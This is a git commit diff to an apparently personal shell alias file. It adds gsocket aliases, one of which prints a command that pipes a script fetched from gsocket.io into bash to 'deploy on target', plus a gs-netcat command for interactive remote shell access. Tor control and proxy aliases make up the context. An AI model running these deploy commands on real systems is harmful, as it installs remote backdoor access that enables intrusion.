added gsocket net aliases

This commit is contained in:
Luxferre
2026-04-11 14:04:26 +03:00
parent 272a2eb74b
commit 9466bc85d0
+6
View File
@@ -12,4 +12,10 @@ alias tornew='echo -e "AUTHENTICATE \"\"\r\nsignal NEWNYM\r\nQUIT" | nc 127.0.0.
# most efficient downloads via Tor (torify + aria2)
alias toraria='torsocks aria2c --async-dns=false -x 16 -j 16'
# just a web server
alias websrv='python3 -m http.server'
# gsocket-related aliases
defalias gssec 's="$(echo "${GS_SEED:?}$1"|sha512sum|base64|tr -d -c a-z0-9)";echo ${s:0:22};unset s'
defalias gsdeploycmd 'printf "Deploy on target:\ncurl -fsSL https://gsocket.io/y | X=%s bash\nUndeploy from target:\ncurl -fsSL https://gsocket.io/y | GS_UNDO=1 bash\nAccess:\ngs-netcat -i -s %s\n" $1 $1'